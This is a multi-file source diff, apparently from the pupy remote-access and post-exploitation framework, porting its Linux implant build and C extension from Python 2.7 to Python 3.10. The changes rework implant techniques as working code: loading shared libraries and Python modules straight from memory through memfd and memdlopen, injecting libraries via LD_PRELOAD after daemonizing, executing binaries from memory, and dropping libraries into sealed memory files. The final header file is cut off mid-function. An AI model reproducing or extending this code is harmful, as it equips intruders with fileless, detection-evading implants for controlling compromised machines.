CFLAGS_PYUV="$CFLAGS_PYUV -U_FILE_OFFSET_BITS -D_XOPEN_SOURCE=600 -D__USE_XOPEN2K8"
|
||||
CFLAGS_PYUV="$CFLAGS_PYUV -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'"
|
||||
|
||||
# It may not be possible to build pyuv with linux32 toolchain, because woody don't have epoll() wrapper yet
|
||||
# So make an exception
|
||||
CC=/gccwrap LDSHARED=/gccwrap \
|
||||
LDFLAGS="--shared -Os -L/opt/static -static-libgcc -Wl,--allow-shlib-undefined" \
|
||||
CFLAGS_FILTER="-D_FILE_OFFSET_BITS=64 -Wl,--no-undefined" CFLAGS="$CFLAGS_PYUV" \
|
||||
$PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all:
|
||||
|
@ -100,50 +101,55 @@ else
|
|||
$PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all:
|
||||
fi
|
||||
|
||||
# $PIP_INSTALL --no-binary :all: pycryptodome==3.7.0
|
||||
$PIP_INSTALL --no-binary :all: https://github.com/Legrandin/pycryptodome/archive/master.zip
|
||||
#$PIP_INSTALL --no-binary :all: pycryptodome
|
||||
$PIP_INSTALL https://github.com/Legrandin/pycryptodome/archive/master.zip
|
||||
|
||||
cd /usr/lib/python2.7
|
||||
#cd /usr/lib/python3.10
|
||||
cd ~/.pyenv/versions/3.*/lib/python3.*
|
||||
|
||||
echo "[+] Strip python modules"
|
||||
find -name "*.so" | while read f; do strip $f; done
|
||||
|
||||
echo "[+] Build python template ($TOOLCHAIN_ARCH)"
|
||||
|
||||
rm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}.zip
|
||||
zip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}.zip . \
|
||||
rm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip
|
||||
zip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip . \
|
||||
-x "*.a" -x "*.la" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" \
|
||||
-x "*test/*" -x "*tests/*" -x "*examples/*" \
|
||||
-x "*.egg-info/*" -x "*.dist-info/*" \
|
||||
-x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" >/dev/null
|
||||
|
||||
cd /usr/lib
|
||||
zip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}-27.zip \
|
||||
libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so
|
||||
#cd /usr/lib
|
||||
mkdir -p /tmp/libs
|
||||
cd /tmp/libs
|
||||
cp /usr/lib/x86_64-linux-gnu/libodbc.so.1 libodbc.so
|
||||
|
||||
ldconfig
|
||||
zip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip \
|
||||
libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so
|
||||
|
||||
echo "[+] Build pupy"
|
||||
|
||||
case $TOOLCHAIN_ARCH in
|
||||
amd64)
|
||||
MAKEFLAGS="ARCH=64 MACH=x86_64"
|
||||
TARGETS="pupyx64d-27.lin pupyx64d-27.lin"
|
||||
TARGETS="$TARGETS pupyx64-27.lin pupyx64-27.lin.so"
|
||||
TARGETS="pupyx64d${SUFFIX}.lin pupyx64d${SUFFIX}.lin"
|
||||
TARGETS="$TARGETS pupyx64${SUFFIX}.lin pupyx64${SUFFIX}.lin.so"
|
||||
export LIBPYTHON=/root/.pyenv/versions/3.10.6/lib/libpython3.10.so
|
||||
export LIBPYTHON_INC="-I/root/.pyenv/versions/3.10.6/include/python3.10"
|
||||
;;
|
||||
|
||||
x86)
|
||||
MAKEFLAGS="ARCH=32 PIE= MACH=i686"
|
||||
TARGETS="pupyx86d-27.lin pupyx86d-27.lin.so"
|
||||
TARGTS="$TARGETS pupyx86-27.lin pupyx86-27.lin.so"
|
||||
MAKEFLAGS="ARCH=32 PIE= MACH=i686 $LIBS"
|
||||
TARGETS="pupyx86d${SUFFIX}.lin pupyx86d${SUFFIX}.lin.so"
|
||||
TARGETS="$TARGETS pupyx86${SUFFIX}.lin pupyx86${SUFFIX}.lin.so"
|
||||
;;
|
||||
|
||||
*)
|
||||
LIBS="LIBSSL=/usr/lib/libssl.so LIBCRYPTO=/usr/lib/libcrypto.so"
|
||||
LIBS="$LIBS LIBPYTHON=/usr/lib/libpython2.7.so"
|
||||
LIBS="$LIBS LIBPYTHON=/usr/lib/libpython3.10.so"
|
||||
MAKEFLAGS="MACH=${TOOLCHAIN_ARCH} $LIBS"
|
||||
TARGETS="pupy${TOOLCHAIN_ARCH}d.lin pupy${TOOLCHAIN_ARCH}d.lin.so"
|
||||
TARGTS="$TARGETS pupy${TOOLCHAIN_ARCH}-27.lin pupy${TOOLCHAIN_ARCH}-27.lin.so"
|
||||
TARGETS="$TARGETS pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin.so"
|
||||
;;
|
||||
esac
|
||||
|
||||
|
@ -153,10 +159,13 @@ cd $SRC
|
|||
|
||||
MAKEFLAGS="$MAKEFLAGS OPENSSL_LIB_VERSION=1.1"
|
||||
|
||||
export PKG_CONFIG_PATH=$(echo ~/.pyenv/versions/*/lib/pkgconfig)
|
||||
|
||||
make $MAKEFLAGS distclean
|
||||
make -j $MAKEFLAGS
|
||||
make $MAKEFLAGS clean
|
||||
make -j DEBUG=1 $MAKEFLAGS
|
||||
#make DEBUG=1 $MAKEFLAGS
|
||||
|
||||
for object in $TARGETS; do
|
||||
if [ -z "$object" ]; then
|
|
@ -0,0 +1,26 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
from distutils.core import setup, Extension
|
||||
import sys
|
||||
|
||||
|
||||
def main():
|
||||
extra_compile_args = ["-D_PUPY_SO=1", "-DLinux=1"]
|
||||
extra_sources = []
|
||||
if "--debug" in sys.argv:
|
||||
extra_compile_args += ["-DDEBUG"]
|
||||
extra_sources+=["../common/debug.c"]
|
||||
print("compiling _pupy.so with DEBUG=1")
|
||||
setup(name="_pupy",
|
||||
version="1.0.0",
|
||||
description="_pupy linux c extension",
|
||||
author="n1nj4sec",
|
||||
ext_modules=[Extension("_pupy",sources=(["pupy.c", "daemonize.c", "tmplibrary.c", "ld_hooks.c", "decompress.c"]+extra_sources),
|
||||
include_dirs=[".","../common"],
|
||||
extra_compile_args=extra_compile_args
|
||||
)])
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
--- Modules/Setup 2023-08-25 15:57:16.039376911 +0000
|
||||
+++ Modules/Setup.new 2023-08-25 15:59:07.427185196 +0000
|
||||
@@ -107,7 +107,6 @@
|
||||
# if $HOME is not set
|
||||
_sre -DPy_BUILD_CORE_BUILTIN _sre.c # Fredrik Lundh's new regular expressions
|
||||
_codecs _codecsmodule.c # access to the builtin codecs and codec registry
|
||||
-_weakref _weakref.c # weak references
|
||||
_functools -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _functoolsmodule.c # Tools for working with functions and callable objects
|
||||
_operator -DPy_BUILD_CORE_BUILTIN _operator.c # operator.add() and similar goodies
|
||||
_collections _collectionsmodule.c # Container types
|
||||
@@ -118,6 +117,24 @@
|
||||
_stat _stat.c # stat.h interface
|
||||
time -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal timemodule.c # -lm # time operations and variables
|
||||
_thread -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _threadmodule.c # low-level threading interface
|
||||
+_struct -DPy_BUILD_CORE_BUILTIN _struct.c # binary structure packing/unpacking
|
||||
+_pickle -DPy_BUILD_CORE_BUILTIN _pickle.c # pickle accelerator
|
||||
+_random _randommodule.c -DPy_BUILD_CORE_BUILTIN # Random number generator
|
||||
+math mathmodule.c _math.c -DPy_BUILD_CORE_BUILTIN # -lm # math library functions, e.g. sin()
|
||||
+zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz -DPy_BUILD_CORE_BUILTIN
|
||||
+_sha1 sha1module.c -DPy_BUILD_CORE_BUILTIN
|
||||
+_sha256 sha256module.c -DPy_BUILD_CORE_BUILTIN
|
||||
+_sha512 sha512module.c -DPy_BUILD_CORE_BUILTIN
|
||||
+_md5 md5module.c -DPy_BUILD_CORE_BUILTIN
|
||||
+_posixsubprocess _posixsubprocess.c -DPy_BUILD_CORE_BUILTIN # POSIX subprocess module helper
|
||||
+unicodedata unicodedata.c -DPy_BUILD_CORE_BUILTIN # static Unicode character database
|
||||
+_socket socketmodule.c -DPy_BUILD_CORE_BUILTIN
|
||||
+select selectmodule.c -DPy_BUILD_CORE_BUILTIN
|
||||
+mmap mmapmodule.c -DPy_BUILD_CORE_BUILTIN
|
||||
+_weakref _weakref.c -DPy_BUILD_CORE_BUILTIN
|
||||
+binascii binascii.c -DPy_BUILD_CORE_BUILTIN
|
||||
+fcntl fcntlmodule.c -DPy_BUILD_CORE_BUILTIN
|
||||
+array arraymodule.c -DPy_BUILD_CORE_BUILTIN
|
||||
|
||||
# access to ISO C locale support
|
||||
_locale -DPy_BUILD_CORE_BUILTIN _localemodule.c # -lintl
|
|
@ -60,7 +60,6 @@ inline static int pupy_memfd_create(char *path, unsigned int path_size)
|
|||
#else
|
||||
char _path[PATH_MAX] = "libc.so.6";
|
||||
#endif
|
||||
|
||||
/* Do not make syscall billion times */
|
||||
if (memfd_checked && !memfd_works) {
|
||||
errno = ENOSYS;
|
|
@ -5,6 +5,14 @@
|
|||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef _PUPY_SO
|
||||
# define PY_SSIZE_T_CLEAN
|
||||
# include <Python.h>
|
||||
#else
|
||||
# include "Python-dynload.h"
|
||||
# include "Python-dynload-os.h"
|
||||
#endif
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
@ -13,7 +21,6 @@
|
|||
#include <dlfcn.h>
|
||||
#include <limits.h>
|
||||
#include "debug.h"
|
||||
#include "Python-dynload.h"
|
||||
#include "daemonize.h"
|
||||
#include <arpa/inet.h>
|
||||
#include "tmplibrary.h"
|
||||
|
@ -171,10 +178,10 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
|
|||
if (pid == -1) {
|
||||
dprint("Couldn\'t daemonize: %m\n");
|
||||
unlink(ldobject);
|
||||
return PyInt_FromLong(-1);
|
||||
return PyLong_FromLong(-1);
|
||||
}
|
||||
|
||||
return PyInt_FromLong(pid);
|
||||
return PyLong_FromLong(pid);
|
||||
}
|
||||
|
||||
#ifdef Linux
|
||||
|
@ -275,7 +282,7 @@ static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwarg
|
|||
return PyErr_SetFromErrno(PyExc_OSError);
|
||||
}
|
||||
|
||||
py_file = PyFile_FromFile(c_file, memfd_path, "w+b", fclose);
|
||||
py_file = PyFile_FromFd(c_file, memfd_path, "w+b", -1, "", "\n", "", fclose);
|
||||
if (!py_file) {
|
||||
close(fd);
|
||||
return NULL;
|
||||
|
@ -291,71 +298,113 @@ static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwarg
|
|||
|
||||
static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
||||
{
|
||||
const char *lpDllBuffer;
|
||||
uint32_t dwDllLenght;
|
||||
char *lpDllBuffer;
|
||||
Py_ssize_t dwDllLenght;
|
||||
const char *dllname;
|
||||
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
|
||||
PyObject *dataobj;
|
||||
if (!PyArg_ParseTuple(args, "sS", &dllname, &dataobj))
|
||||
return NULL;
|
||||
|
||||
dprint("Py_load_dll(%s)\n", dllname);
|
||||
if (PyBytes_AsStringAndSize(dataobj, &lpDllBuffer, &dwDllLenght)==-1) {
|
||||
PyErr_Format(PyExc_ImportError,
|
||||
"Py_load_dll : cannot convert bytes to char * : %s ", dllname);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW));
|
||||
dprint("Py_load_dll(%s, buf=%p BufSize=%d)\n", dllname, lpDllBuffer, dwDllLenght);
|
||||
|
||||
void * hmem = memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW);
|
||||
if (!hmem) {
|
||||
dprint("Py_load_dll(): Couldn't load %s\n", dllname);
|
||||
PyErr_Format(ExecError, "Py_load_dll(): Couldn't load %s\n", dllname);
|
||||
return NULL;
|
||||
}
|
||||
dprint("Py_load_dll(): returning handle: %x\n",hmem);
|
||||
return PyLong_FromVoidPtr(hmem);
|
||||
}
|
||||
|
||||
bool
|
||||
import_module(const char *initfuncname, char *modname, const char *data, size_t size) {
|
||||
|
||||
static PyObject *
|
||||
Py_import_module(PyObject *self, PyObject *args) {
|
||||
char *data;
|
||||
Py_ssize_t size;
|
||||
char *initfuncname;
|
||||
char *modname;
|
||||
char *pathname;
|
||||
char *oldcontext;
|
||||
|
||||
PyObject *dataobj;
|
||||
PyObject *spec;
|
||||
/* code, initfuncname, fqmodulename, path */
|
||||
if (!PyArg_ParseTuple(args, "SsssO:import_module",
|
||||
&dataobj,
|
||||
&initfuncname, &modname, &pathname, &spec)) {
|
||||
dprint("error in PyArg_ParseTuple()\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
dprint("DEBUG! %s@%s\n", initfuncname, modname);
|
||||
|
||||
if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) {
|
||||
PyErr_Format(PyExc_ImportError,
|
||||
"cannot convert bytes to char * : %s ", pathname);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
dprint("import_module: init=%s mod=%s (%p:%lu)\n",
|
||||
initfuncname, modname, data, size);
|
||||
|
||||
void *hmem = memdlopen(modname, data, size, RTLD_LOCAL | RTLD_NOW);
|
||||
if (!hmem) {
|
||||
dprint("Couldn't load %s: %m\n", modname);
|
||||
return false;
|
||||
dprint("Py_import_module(): Couldn't load %s\n", modname);
|
||||
PyErr_Format(PyExc_ImportError, "Py_load_dll(): Couldn't load %s\n", modname);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void (*do_init)() = dlsym(hmem, initfuncname);
|
||||
PyObject *(*do_init)(void);
|
||||
do_init= dlsym(hmem, initfuncname);
|
||||
if (!do_init) {
|
||||
dprint("Couldn't find sym %s in %s: %m\n", initfuncname, modname);
|
||||
dlclose(hmem);
|
||||
return false;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
oldcontext = _Py_PackageContext;
|
||||
_Py_PackageContext = modname;
|
||||
dprint("Call %s@%s (%p)\n", initfuncname, modname, do_init);
|
||||
do_init();
|
||||
PyObject *m = do_init();
|
||||
_Py_PackageContext = oldcontext;
|
||||
|
||||
dprint("Call %s@%s (%p) - complete\n", initfuncname, modname, do_init);
|
||||
|
||||
return true;
|
||||
}
|
||||
// multi phase init
|
||||
if (PyObject_TypeCheck(m, &PyModuleDef_Type)) {
|
||||
struct PyModuleDef *def;
|
||||
PyObject *state;
|
||||
|
||||
static PyObject *
|
||||
Py_import_module(PyObject *self, PyObject *args) {
|
||||
char *data;
|
||||
int size;
|
||||
char *initfuncname;
|
||||
char *modname;
|
||||
char *pathname;
|
||||
m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec);
|
||||
def = PyModule_GetDef(m);
|
||||
state = PyModule_GetState(m);
|
||||
if (state == NULL) {
|
||||
PyModule_ExecDef(m, def);
|
||||
}
|
||||
dprint("return from PyObject_TypeCheck\n", modname);
|
||||
return m;
|
||||
}
|
||||
PyObject *modules = NULL;
|
||||
modules = PyImport_GetModuleDict();
|
||||
PyObject *name = PyUnicode_FromString(modname);
|
||||
_PyImport_FixupExtensionObject(m, name, name, modules);
|
||||
|
||||
/* code, initfuncname, fqmodulename, path */
|
||||
if (!PyArg_ParseTuple(args, "s#sss:import_module",
|
||||
&data, &size,
|
||||
&initfuncname, &modname, &pathname)) {
|
||||
return NULL;
|
||||
Py_DECREF(name);
|
||||
|
||||
if (PyErr_Occurred()) {
|
||||
dprint("error at the end\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
dprint("DEBUG! %s@%s\n", initfuncname, modname);
|
||||
|
||||
if (!import_module(initfuncname, modname, data, size)) {
|
||||
PyErr_Format(PyExc_ImportError,
|
||||
"Could not find function %s", initfuncname);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
dprint("calling PyImport_ImportModule(%s)\n", modname);
|
||||
/* Retrieve from sys.modules */
|
||||
return PyImport_ImportModule(modname);
|
||||
}
|
||||
|
@ -368,6 +417,7 @@ static PyObject *Py_mexec(PyObject *self, PyObject *args)
|
|||
PyObject *redirected_obj = NULL;
|
||||
PyObject *detach_obj = NULL;
|
||||
|
||||
//TODO: change all deprecated and broken s# notation in PyArg_ParseTuple
|
||||
if (!PyArg_ParseTuple(args, "s#OOO", &buffer, &buffer_size, &argv_obj, &redirected_obj, &detach_obj))
|
||||
return NULL;
|
||||
|
||||
|
@ -407,13 +457,13 @@ static PyObject *Py_mexec(PyObject *self, PyObject *args)
|
|||
PyObject * p_stderr = Py_None;
|
||||
|
||||
if (redirected) {
|
||||
p_stdin = PyFile_FromFile(fdopen(stdior[0], "w"), "mexec:stdin", "a", fclose);
|
||||
p_stdout = PyFile_FromFile(fdopen(stdior[1], "r"), "mexec:stdout", "r", fclose);
|
||||
p_stderr = PyFile_FromFile(fdopen(stdior[2], "r"), "mexec:stderr", "r", fclose);
|
||||
p_stdin = PyFile_FromFd(fdopen(stdior[0], "w"), "mexec:stdin", "a", 0, "", "\n", "", fclose);
|
||||
p_stdout = PyFile_FromFd(fdopen(stdior[1], "r"), "mexec:stdout", "r", 0, "", "\n", "", fclose);
|
||||
p_stderr = PyFile_FromFd(fdopen(stdior[2], "r"), "mexec:stderr", "r", 0, "", "\n", "", fclose);
|
||||
|
||||
PyFile_SetBufSize(p_stdin, 0);
|
||||
PyFile_SetBufSize(p_stdout, 0);
|
||||
PyFile_SetBufSize(p_stderr, 0);
|
||||
//PyFile_SetBufSize(p_stdin, 0);
|
||||
//PyFile_SetBufSize(p_stdout, 0);
|
||||
//PyFile_SetBufSize(p_stderr, 0);
|
||||
}
|
||||
|
||||
return Py_BuildValue("i(OOO)", pid, p_stdin, p_stdout, p_stderr);
|
||||
|
@ -448,12 +498,36 @@ static PyMethodDef methods[] = {
|
|||
{ NULL, NULL }, /* Sentinel */
|
||||
};
|
||||
|
||||
DL_EXPORT(void)
|
||||
init_pupy(void) {
|
||||
static struct PyModuleDef PupyModuleDef =
|
||||
{
|
||||
// PyModuleDef_HEAD_INIT,
|
||||
{
|
||||
{ 0, 0, 1, NULL} ,
|
||||
NULL, /* m_init */
|
||||
0, /* m_index */
|
||||
NULL
|
||||
}, /* m_copy */
|
||||
"_pupy", /* name of module */
|
||||
"", /* module documentation, may be NULL */
|
||||
-1, /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */
|
||||
methods
|
||||
};
|
||||
|
||||
#ifdef _PUPY_DYNLOAD
|
||||
#define FUNC_EXPORT PyMODINIT_FUNC
|
||||
#else
|
||||
#define FUNC_EXPORT void *
|
||||
#endif
|
||||
|
||||
FUNC_EXPORT PyInit__pupy(void) {
|
||||
|
||||
PyObject *pupy;
|
||||
//PyObject *pupy = Py_InitModule3("_pupy", methods, (char *) module_doc);
|
||||
dprint("creating pupy module ...\n");
|
||||
pupy = PyModule_Create(&PupyModuleDef);
|
||||
|
||||
PyObject *pupy = Py_InitModule3("_pupy", methods, (char *) module_doc);
|
||||
if (!pupy) {
|
||||
return;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD);
|
||||
|
@ -462,7 +536,7 @@ init_pupy(void) {
|
|||
PyModule_AddObject(pupy, "error", ExecError);
|
||||
|
||||
#ifdef _PUPY_SO
|
||||
setup_jvm_class();
|
||||
//setup_jvm_class();
|
||||
#endif
|
||||
|
||||
#ifdef _FEATURE_PATHMAP
|
||||
|
@ -473,4 +547,5 @@ init_pupy(void) {
|
|||
set_pathmap_callback(__pathmap_callback);
|
||||
#endif
|
||||
#endif
|
||||
return pupy;
|
||||
}
|
|
@ -19,20 +19,27 @@
|
|||
#include "debug.h"
|
||||
|
||||
#include "pupy_load.h"
|
||||
|
||||
#include "Python-dynload.c"
|
||||
#include "revision.h"
|
||||
#include "ld_hooks.h"
|
||||
#include "memfd.h"
|
||||
|
||||
extern DL_EXPORT(void) init_pupy(void);
|
||||
// include the c extension to load from memory
|
||||
#include "_pupy.c"
|
||||
|
||||
//extern DL_EXPORT(void) init_pupy(void);
|
||||
|
||||
#if defined(_FEATURE_PATHMAP) && defined(_LD_HOOKS_NAME)
|
||||
const char *__pathmap_callback(const char *path, char *buf, size_t buf_size);
|
||||
#endif
|
||||
|
||||
|
||||
uint32_t mainThread(int argc, char *argv[], bool so)
|
||||
{
|
||||
|
||||
struct rlimit lim;
|
||||
char *oldcontext;
|
||||
|
||||
dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD);
|
||||
|
||||
|
@ -78,7 +85,38 @@ uint32_t mainThread(int argc, char *argv[], bool so)
|
|||
return -1;
|
||||
}
|
||||
|
||||
init_pupy();
|
||||
dprint("_pupy built with dynload\n");
|
||||
//init_pupy();
|
||||
void *c_pupy = xz_dynload(
|
||||
"_pupy.so",
|
||||
_pupy_c_start, _pupy_c_size,
|
||||
NULL
|
||||
);
|
||||
PyObject *(*PyInit__pupy)(void);
|
||||
PyInit__pupy= dlsym(c_pupy, "PyInit__pupy");
|
||||
if (!PyInit__pupy) {
|
||||
dprint("Couldn't find sym PyInit__pupy");
|
||||
dlclose(c_pupy);
|
||||
return -1;
|
||||
}
|
||||
|
||||
oldcontext = _Py_PackageContext;
|
||||
_Py_PackageContext = "_pupy";
|
||||
|
||||
PyObject *m = PyInit__pupy();
|
||||
_Py_PackageContext = oldcontext;
|
||||
|
||||
PyObject *modules = NULL;
|
||||
modules = PyImport_GetModuleDict();
|
||||
PyObject *name = PyUnicode_FromString("_pupy");
|
||||
_PyImport_FixupExtensionObject(m, name, name, modules);
|
||||
|
||||
Py_DECREF(name);
|
||||
|
||||
if (PyErr_Occurred()) {
|
||||
dprint("error loading _pupy.so\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
dprint("Running pupy...\n");
|
||||
run_pupy();
|
|
@ -0,0 +1 @@
|
|||
#define GIT_REVISION_HEAD "4ae6ce47"
|
|
@ -147,7 +147,6 @@ int drop_library(char *path, size_t path_size, const char *buffer, size_t size)
|
|||
return fd;
|
||||
}
|
||||
}
|
||||
|
||||
if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') {
|
||||
dprint("Decompressing library %s\n", path);
|
||||
int r = decompress(fd, buffer, size);
|
||||
|
@ -157,6 +156,7 @@ int drop_library(char *path, size_t path_size, const char *buffer, size_t size)
|
|||
return -1;
|
||||
}
|
||||
} else {
|
||||
dprint("Wrining library to fd : %s\n", path);
|
||||
while (size > 0) {
|
||||
size_t n = write(fd, buffer, size);
|
||||
if (n == -1) {
|
||||
|
@ -170,13 +170,15 @@ int drop_library(char *path, size_t path_size, const char *buffer, size_t size)
|
|||
size -= n;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#ifdef Linux
|
||||
if (memfd) {
|
||||
dprint("calling fcntl on fd=%d\n", fd);
|
||||
fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);
|
||||
}
|
||||
#endif
|
||||
|
||||
dprint("returning fd=%d\n", fd);
|
||||
return fd;
|
||||
}
|
||||
|
||||
|
@ -572,7 +574,7 @@ void *_dlopen(int fd, const char *path, int flags, const char *soname) {
|
|||
handle = dlopen(path, flags);
|
||||
#endif
|
||||
|
||||
dprint("memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s)\n", lmid, path, soname);
|
||||
dprint("memdlopen - dlmopen - _dlopen(lmid=%08x, %s, %s); handle=%p\n", lmid, path, soname, handle);
|
||||
|
||||
if (flags & RTLD_NOLOAD || !handle) {
|
||||
return handle;
|
|
@ -1,69 +0,0 @@
|
|||
TODO: create buildenv.sh for linux builds
|
||||
|
||||
1. Support USER_NS + MOUNT_NS builds
|
||||
Jessie, Stretch - USER_NS - may be enabled, but doesn't support
|
||||
non-root mounts from USER_NS.
|
||||
Any upstream distro?
|
||||
2. Buildenv base distros:
|
||||
x86_64: debian etch (couldn't find anything earlier than it for amd64)
|
||||
x386: debian woody (covers all linux setups for last ~8-10 years)
|
||||
3. Software to replace/update/install
|
||||
1. Make (3.82) and pkg-config (latest/0.29)
|
||||
2. Openssl (latest, .a only)
|
||||
3. zlib (latest, .a only)
|
||||
4. bz2 (latest, .a only)
|
||||
5. sqlite (latest, .a only)
|
||||
6. libffi (latest, .a only)
|
||||
7. GCC (latest from repo, for etch/amd64)
|
||||
8. Python 2.7 (Link with those .a builds)
|
||||
9. GLib (2.32.4)
|
||||
10. DBus (1.2.12) (covers Ubuntu 9.04+)
|
||||
11. DBus-GLib (0.88)
|
||||
12. GObject-Introspection (1.32.2; covers Ubuntu 10.04+)
|
||||
13. PyGObject (latest?/3.2.2)
|
||||
14. DBus-python (0.84)
|
||||
15. pip (latest/get-pip.py)
|
||||
16. sqlite3 (latest)
|
||||
4. Patches
|
||||
1. Python
|
||||
2. GLib/DBus (to build it at all)
|
||||
3. PyGObject (to build with static typelib)
|
||||
5. Strip all python .so modules
|
||||
|
||||
6. Compatibility / proven to work
|
||||
+-----------+-------+----------+
|
||||
| Distro | dbus |pydbus/gir|
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | - |
|
||||
| 9.04/x86 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | - |
|
||||
| 9.04/x64 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | + |
|
||||
| 10.04/x86 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | - |
|
||||
| 10.04/x64 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | + |
|
||||
| 12.04/x64 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | + |
|
||||
| 14.04/x86 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Ubuntu | + | + |
|
||||
| 16.10/x64 | | |
|
||||
+ ----------+-------+----------+
|
||||
| CentOS 5 | + | - |
|
||||
| x64 | | |
|
||||
+ ----------+-------+----------+
|
||||
| CentOS 6 | + | - |
|
||||
| x86 | | |
|
||||
+ ----------+-------+----------+
|
||||
| CentOS 7 | + | + |
|
||||
| x64 | | |
|
||||
+ ----------+-------+----------+
|
||||
| Gentoo | + | + |
|
||||
| ~amd64 | | |
|
||||
+ ----------+-------+----------+
|
|
@ -1,97 +0,0 @@
|
|||
#ifndef PYTHON_DYNLOAD_OS_H
|
||||
#define PYTHON_DYNLOAD_OS_H
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define PYTHON_LIB_NAME "libpython2.7.so.1.0"
|
||||
|
||||
#include "Python-dynload.h"
|
||||
|
||||
#define FREE_HMODULE_AFTER_LOAD 1
|
||||
#define FILE_SYSTEM_ENCODING "utf-8"
|
||||
|
||||
typedef void *HMODULE;
|
||||
typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name);
|
||||
|
||||
#ifndef OPENSSL_LIB_VERSION
|
||||
#define OPENSSL_LIB_VERSION "1.0.0"
|
||||
#endif
|
||||
|
||||
#define DEPENDENCIES \
|
||||
{ \
|
||||
{ \
|
||||
"libcrypto.so." OPENSSL_LIB_VERSION, \
|
||||
libcrypto_c_start, \
|
||||
libcrypto_c_size, \
|
||||
FALSE \
|
||||
}, { \
|
||||
"libssl.so." OPENSSL_LIB_VERSION, \
|
||||
libssl_c_start, \
|
||||
libssl_c_size, \
|
||||
FALSE \
|
||||
}, { \
|
||||
PYTHON_LIB_NAME, \
|
||||
python27_c_start, \
|
||||
python27_c_size, \
|
||||
TRUE \
|
||||
} \
|
||||
}
|
||||
|
||||
#define OSAlloc(size) malloc(size)
|
||||
#define OSFree(ptr) free(ptr)
|
||||
|
||||
#define OSLoadLibrary(name) dlopen(name, RTLD_NOW)
|
||||
#define OSResolveSymbol dlsym
|
||||
#define OSUnmapRegion munmap
|
||||
#define MemLoadLibrary(name, bytes, size, arg) \
|
||||
memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL)
|
||||
#define MemResolveSymbol dlsym
|
||||
#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD)
|
||||
|
||||
#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS
|
||||
static const char *OSGetProgramName()
|
||||
{
|
||||
static BOOL is_set = FALSE;
|
||||
static char exe[PATH_MAX] = {'\0'};
|
||||
|
||||
if (is_set)
|
||||
return exe;
|
||||
|
||||
#if defined(Linux)
|
||||
dprint("INVOCATION NAME: %s\n", program_invocation_name);
|
||||
|
||||
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0)
|
||||
{
|
||||
if (strstr(exe, "/memfd:"))
|
||||
{
|
||||
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
